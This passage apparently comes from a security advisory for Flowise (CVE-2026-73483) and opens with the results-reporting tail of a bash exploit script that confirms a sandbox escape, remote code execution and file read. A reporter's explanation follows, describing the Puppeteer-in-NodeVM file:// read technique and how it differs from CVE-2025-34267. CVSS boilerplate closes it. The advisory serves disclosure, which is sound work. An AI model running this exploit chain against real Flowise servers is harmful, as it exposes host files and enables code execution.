        ADDITIONAL+="
  --- $p ---
$(echo "$EXTRA" | sed 's/^/  /')
"
        sleep 1
    done
fi

# Results
hr; log "RESULTS"; hr
echo "  Target  : $TARGET"
echo "  Version : $VERSION"
echo "  Gate    : $([ $GATED -eq 1 ] && echo GATED || echo UNGATED)"
echo "  Admin   : $EMAIL (password: $PASSWORD)"
echo "  Proof   : $PROOF_REMOTE"
echo
echo "  ─── proof file ───"
echo "$PROOF_CONTENT" | sed 's/^/  /'
[ -n "$ADDITIONAL" ] && { echo; echo "  ─── additional ───"; echo "$ADDITIONAL"; }
echo
echo "$PROOF_CONTENT" | grep -qE "uid=|CHAIN_OK" && \
    ok "FULL CHAIN CONFIRMED - sandbox escape + RCE + file read" || \
    err "Chain did not confirm"

How this is different from CVE-2025-34267

We introduced more granular controls to allow users to enable ALLOW_BUILTIN_DEP, but still disable Playwright (and other built-in dependencies) for an improved security posture.

Additional Comments -

The command-execution path in this report-where untrusted NodeVM code supplies Puppeteer/Playwright with an attacker-
controlled executablePath, args, and ignoreDefaultArgs, which ultimately reach child_process.spawn()-overlaps CVE-2025-
34267, and I am not requesting a second identifier for that behavior. The independently exploitable vulnerability for which I am
requesting separate assessment is the local-file disclosure path created when Flowise’s executeJavaScriptCode() exposes the
unrestricted Puppeteer module through NodeVM’s require.external.modules: untrusted code launches the intended Chromium
executable, creates a normal page, supplies an attacker-selected file:// URL to page.goto(), and retrieves the rendered
contents through page.evaluate(() => document.body.innerText), after which Flowise returns that value in the API response. In the
inspected Puppeteer implementation, Frame.goto(url) forwards the supplied URL to the Chrome DevTools Protocol through
Page.navigate({url, ...}) without enforcing an HTTP/HTTPS-only scheme policy; consequently, Chromium’s local-file loader accesses
the selected file with the Flowise process’s filesystem permissions.

This disclosure does not require substituting /bin/sh, nc,
or any other non-browser executable, does not require supplying a shell command, and does not depend upon successful exploitation
of CVE-2025-34267. The --no-sandbox flag used in the official root-running Docker reproduction is solely an operational
requirement for starting the intended Chromium binary and is not the file-read primitive.

The two vulnerabilities terminate at
different security sinks and are independently fixable: fixing CVE-2025-34267 by forcing a trusted Chromium executable and
internally controlled launch arguments would prevent attacker-controlled process creation while still leaving unrestricted file:
navigation available, whereas preventing local-file disclosure by rejecting local-resource schemes across all page, target, and
raw-CDP navigation surfaces-or by filesystem-isolating Chromium-would block file access while leaving attacker-controlled
executablePath command execution possible if that launch interface remained exposed. The Puppeteer allowlist entry is therefore a
shared reachability condition rather than evidence that the two security failures are fully interdependent; removing Puppeteer/
Playwright from the allowlist is a broad containment patch that happens to close both paths at their common entry point, but a
single broad patch can remediate multiple independently fixable vulnerabilities. CVE-2025-34267 concerns command execution and CWE-
77, while this path is independently exploitable host-file information disclosure and should be assessed under CWE-200 pursuant to
CNA Rule 4.2.11 concerning independently fixable vulnerabilities.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality High
Integrity High
Availability High

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

CVE ID

CVE-2026-73483

Weaknesses

No CWEs

Credits